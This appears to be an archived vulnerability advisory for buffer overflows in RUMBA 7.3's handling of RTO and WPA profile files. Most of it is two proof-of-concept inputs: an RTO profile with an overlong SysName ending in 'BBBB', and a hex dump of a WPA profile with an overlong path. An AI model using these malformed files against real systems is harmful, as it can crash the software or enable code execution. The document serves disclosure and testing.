87 lines
No EOL
3.5 KiB
Text
87 lines
No EOL
3.5 KiB
Text
source: https://www.securityfocus.com/bid/12965/info
|
|
|
|
RUMBA is reported prone to multiple buffer overflow vulnerabilities. Theses issues are reported to manifest when RTO and WPA profiles are loaded by the software.
|
|
|
|
Ultimately it is conjectured that this issue may be exploited by a remote attacker to execute arbitrary attacker-supplied code in the context of the vulnerable software.
|
|
|
|
RUMBA version 7.3 is reported prone to this issue, previous versions are also reported to be affected.
|
|
|
|
-----------snip-of-foo.RTO-profile-file-----------
|
|
|
|
[RUMBAFIL]
|
|
Version=5.32
|
|
InterIndex=4
|
|
SysName=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBB
|
|
Type=RECV
|
|
Min=FALSE
|
|
Notify=TRUE
|
|
Percent=TRUE
|
|
Close=FALSE
|
|
Truncate=TRUE
|
|
Auto=FALSE
|
|
TruncateSpaces=TRUE
|
|
Nulls=FALSE
|
|
EncryptedPassword=FALSE
|
|
ASName=
|
|
|
|
-----------------------snip-----------------------
|
|
|
|
-------snip-of-foo.WPA-profile-file-(HEX)---------
|
|
|
|
00 00 00 00 00 00 00 43 3a 5c 50 72 6f 67 72 61
|
|
6d 20 46 69 6c 65 73 5c 4e 65 74 4d 61 6e 61 67
|
|
65 5c 52 55 4d 42 41 5c 53 79 73 74 65 6d 5c 50
|
|
72 66 53 61 76 65 31 2e 41 6d 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78
|
|
78 78 78 78 78 78 78 78 78 78 78 00 00 00 00 00
|
|
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|
|
|
-----------------------snip----------------------- |